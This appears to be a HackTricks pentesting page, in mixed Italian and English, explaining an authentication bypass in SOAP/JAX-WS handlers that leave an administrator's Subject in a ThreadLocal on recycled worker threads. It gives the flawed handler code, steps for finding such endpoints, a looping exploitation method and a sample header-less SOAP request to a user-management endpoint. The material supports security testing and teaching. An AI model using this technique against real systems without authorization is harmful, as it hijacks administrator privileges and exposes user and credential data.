SOAP/JAX-WS ThreadLocal Authentication Bypass

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

TL;DR

  • Alcune catene middleware memorizzano l’autenticato Subject/Principal all’interno di un ThreadLocal statico e lo aggiornano solo quando arriva un SOAP header proprietario.
  • Poiché WebLogic/JBoss/GlassFish riciclano i worker thread, l’assenza di quell’header fa sì che l’ultimo Subject privilegiato elaborato dal thread venga riutilizzato silenziosamente.
  • Esegui numerose richieste all’endpoint vulnerabile con body SOAP privi di header ma ben formati, finché un thread riutilizzato non ti concede il contesto amministratore rubato.

Root Cause

Handler simili al seguente sovrascrivono l’identità ThreadLocal solo quando l’header custom è presente, quindi il contesto della richiesta precedente sopravvive:

public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}

Recon

  1. Enumerate the reverse proxy / routing rules to locate hidden SOAP trees that may block ?wsdl yet accept POSTs (map them alongside the flow in 80,443 - Pentesting Web Methodology).
  2. Unpack the EAR/WAR/EJB artifacts (unzip *.ear) and inspect application.xml, web.xml, @WebService annotations, and handler chains (e.g., LoginHandlerChain.xml) to uncover the handler class, SOAP header QName, and the backing EJB names.
  3. If metadata is missing, brute-force likely ServiceName?wsdl paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as Burp Suite Wsdler to generate baseline envelopes.
  4. Review the handler sources for ThreadLocal keepers (e.g., SubjectHolder.setSubject()) that are never cleared when the authentication header is missing or malformed.

Exploitation

  1. Send a valid request with the proprietary header to learn the normal response codes and any error used for invalid tokens.
  2. Resend the same SOAP body while omitting the header. Keep the XML well-formed and respect the required namespaces so the handler exits cleanly.
  3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused Subject unlocks protected operations such as user or credential managers.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>

Validazione del bug

  • Allega JDWP (-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) o hook di debug simili per osservare il contenuto di ThreadLocal prima e dopo ogni chiamata, confermando che una richiesta non autenticata abbia ereditato il precedente Subject dell’amministratore.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks